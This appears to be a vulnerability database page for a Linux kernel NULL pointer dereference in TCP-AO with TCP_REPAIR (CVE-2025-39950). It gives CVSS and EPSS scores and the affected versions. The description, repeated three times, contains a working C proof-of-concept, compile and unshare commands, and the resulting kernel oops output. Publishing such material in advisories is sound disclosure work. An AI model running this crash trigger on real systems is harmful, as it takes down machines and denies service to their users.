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CVE-2025-39950

MEDIUMCVSS 5.5/10EPSS 0.13%

Last modified

CVE-2025-39950 is a medium-severity vulnerability rated 5.5/10 on the CVSS scale. In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. EPSS estimates a 0.13% chance of exploitation in the next 30 days.

Description

In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

Metrics

CVSS 3.1
5.5/10

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS Probability
0.13%

3.3th percentile

Probability of exploitation in the next 30 days. Learn more

Weakness Enumeration

Affected Software

VendorProductVersionsUpdate
LinuxLinux Kernel>= 6.7, < 6.12.49—
LinuxLinux Kernel>= 6.13, < 6.16.9—
LinuxLinux Kernel6.17Rc1

References

Timeline

Published
Last Modified
Status
Analyzed

Frequently Asked Questions

What is CVE-2025-39950?
In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
How severe is CVE-2025-39950?
CVE-2025-39950 has a CVSS score of 5.5/10 (MEDIUM severity). The EPSS model estimates a 0.13% probability of exploitation in the next 30 days.
How do I fix CVE-2025-39950?
Check the vendor references and advisories linked above for patched versions and mitigation guidance. You can also run a Strix scan to test if your systems are affected.

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Source: NVD / NIST